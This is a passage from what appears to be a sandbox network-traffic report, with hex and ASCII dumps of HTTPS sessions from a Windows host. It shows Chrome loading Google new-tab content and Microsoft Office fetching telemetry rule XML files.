2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 73 70 6f 69 6c 65 72 73 22 2c 22 6e 61 73 61 20 61 73 74 72 6f 6e 61 75 74 73 20 73 70 61 63 65 78 22 2c 22 79 61 6e 6b 65 65 73 20 76 73 20 64 6f 64 67 65 72 73 20 67 61 6d 65 22 2c 22 6e 79 74 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 73 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f Data Ascii: spoilers","nasa astronauts spacex","yankees vs dodgers game","nyt crossword clues","aurora borealis forecast"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","goo
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 33 51 77 4e 6b 6f 78 4d 55 56 33 61 6b 35 58 56 57 74 57 63 56 45 76 5a 31 67 7a 61 45 39 48 56 6a 4e 59 5a 57 46 57 57 6e 4a 44 4b 30 74 68 5a 48 4a 77 55 6d 39 4c 4d 54 41 72 62 45 56 47 5a 32 5a 61 64 44 42 78 4f 56 46 51 5a 6d 77 30 54 33 6c 44 62 30 38 35 4d 6d 46 61 55 48 6f 78 5a 6d 70 78 4f 56 42 70 4f 46 4a 52 52 32 6b 30 4c 33 68 6c 52 45 6f 31 52 31 63 34 62 56 41 35 55 47 46 51 61 32 68 6d 64 44 52 46 54 58 52 4d 4b 7a 6c 45 64 32 46 6e 4d 7a 42 77 54 46 6f 79 4f 44 5a 72 52 31 5a 46 63 7a 56 53 54 33 59 35 4f 44 5a 68 4e 54 4a 6b 4f 56 68 79 64 6c 68 69 4b 33 70 6d 61 6a 64 32 62 44 6c 32 53 44 4a 6d 62 6e 70 31 62 46 42 51 4e 33 6c 43 53 32 45 30 63 32 4e 4c 61 6e 5a 44 64 31 4a 35 62 44 4e 56 53 30 4a 79 4e 54 42 43 52 47 73 76 5a 6d 56 31 Data Ascii: 3QwNkoxMUV3ak5XVWtWcVEvZ1gzaE9HVjNYZWFWWnJDK0thZHJwUm9LMTArbEVGZ2ZadDBxOVFQZmw0T3lDb085MmFaUHoxZmpxOVBpOFJRR2k0L3hlREo1R1c4bVA5UGFQa2hmdDRFTXRMKzlEd2FnMzBwTFoyODZrR1ZFczVST3Y5ODZhNTJkOVhydlhiK3pmajd2bDl2SDJmbnp1bFBQN3lCS2E0c2NLanZDd1J5bDNVS0JyNTBCRGsvZmV1
2024-10-28 01:07:20 UTC	1240	IN	Data Raw: 57 51 6e 46 47 61 31 52 44 4f 44 45 35 61 47 35 47 4d 33 64 44 53 6e 64 33 4c 31 46 4b 5a 31 67 79 51 6a 52 75 55 55 64 52 54 44 56 53 64 30 4a 74 59 6b 64 74 55 6d 56 42 61 55 30 30 4f 56 64 33 53 54 6c 43 62 45 56 6a 51 57 6f 7a 64 31 64 76 64 33 56 6a 52 57 38 30 63 6e 46 4f 54 30 6c 6e 61 48 4a 6e 61 56 6c 33 57 6b 59 30 4e 47 68 70 51 32 64 45 61 56 52 54 53 6d 6c 49 4d 58 56 42 52 46 45 78 51 58 56 77 57 6d 46 42 62 32 56 48 4e 6b 5a 75 56 6c 6c 45 63 30 4e 4a 61 55 70 36 65 55 46 35 63 58 51 34 52 48 70 4f 55 6e 6b 76 4d 55 31 43 52 32 78 72 61 32 4d 32 65 57 4e 35 63 46 42 4c 51 6d 5a 5a 57 6b 6c 48 5a 30 6c 4c 4f 47 56 7a 55 55 5a 6a 51 54 4e 52 51 6d 64 69 52 44 4e 6a 4e 30 70 52 54 56 51 7a 61 56 56 34 5a 33 64 33 61 55 56 6c 51 56 51 72 53 45 Data Ascii: WQnFGa1RDODE5aG5GM3dDSnd3L1FKZ1gyQjRuUUdRTDVSd0JtYkdtUmVBaU00OVd3STlCbEVjQWozd1dvd3VjRW80cnFOT0lnaHJnaVl3WkY0NGhpQ2dEaVRTSmlIMXVBRFExQXVwWmFBb2VHNkZuVllEc0NJaUp6eUF5cXQ4RHpOUnkvMU1CR2xra2M2eWN5cFBLQmZZWklHZ0lLOGVzUUZjQTNRQmdiRDNjN0pRTVQzaVV4Z3d3aUVlQVQrSE
2024-10-28 01:07:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49744	142.250.186.68	443	6108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 01:07:20 UTC	1042	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 01:07:20 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 01:07:20 UTC	336	IN	Data Raw: 32 30 65 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20e4)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700293,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-28 01:07:20 UTC	1202	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-28 01:07:20 UTC	416	IN	Data Raw: 31 39 39 0d 0a 5c 22 29 3b 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6c 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 6d 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 Data Ascii: 199\");};_.me\u003dfunction(a){if(le.test(a))return a};_.ne\u003dfunction(a){if(a instanceof _.Yd)if(a instanceof _.Yd)a\u003da.i;else throw Error(\"F\");else a\u003d_.me(a);return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d
2024-10-28 01:07:20 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 51 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 Data Ascii: 8000\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Qa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){ret
2024-10-28 01:07:21 UTC	1378	IN	Data Raw: 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 3b 69 66 28 62 29 7b 76 61 72 20 66 5c 75 30 30 33 64 7b 7d 3b 66 6f 72 28 63 5c 75 30 30 33 64 64 5c 75 30 30 33 64 30 3b 61 5c 75 30 30 33 64 65 5b 63 5d 3b 63 2b 2b 29 7b 76 61 72 20 67 5c 75 30 30 33 64 61 2e 63 6c 61 73 73 4e 61 6d 65 3b 74 79 70 65 6f 66 20 67 2e 73 70 6c 69 74 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 76 61 28 67 2e 73 70 6c 69 74 28 2f 5c 5c 73 2b 2f 29 2c 62 29 5c 75 30 30 32 36 5c 75 30 30 32 36 28 66 5b 64 2b 2b 5d 5c 75 30 30 33 64 61 29 7d 66 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 64 3b 72 65 74 75 72 6e 20 66 7d 72 65 74 75 72 6e 20 65 7d 3b 5c 6e 5f 2e 42 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: TagName(\"*\");if(b){var f\u003d{};for(c\u003dd\u003d0;a\u003de[c];c++){var g\u003da.className;typeof g.split\u003d\u003d\"function\"\u0026\u0026_.va(g.split(/\\s+/),b)\u0026\u0026(f[d++]\u003da)}f.length\u003dd;return f}return e};\n_.Be\u003dfunction(a,b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49745	142.250.186.68	443	6108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 01:07:21 UTC	957	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 01:07:20 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 01:07:21 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-28 01:07:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49747	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-16849878b78nx5sne3fztmu6xc00000005cg0000000012ck x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49749	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-r197bdfb6b48pcqqxhenwd2uz80000000530000000005xxq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" 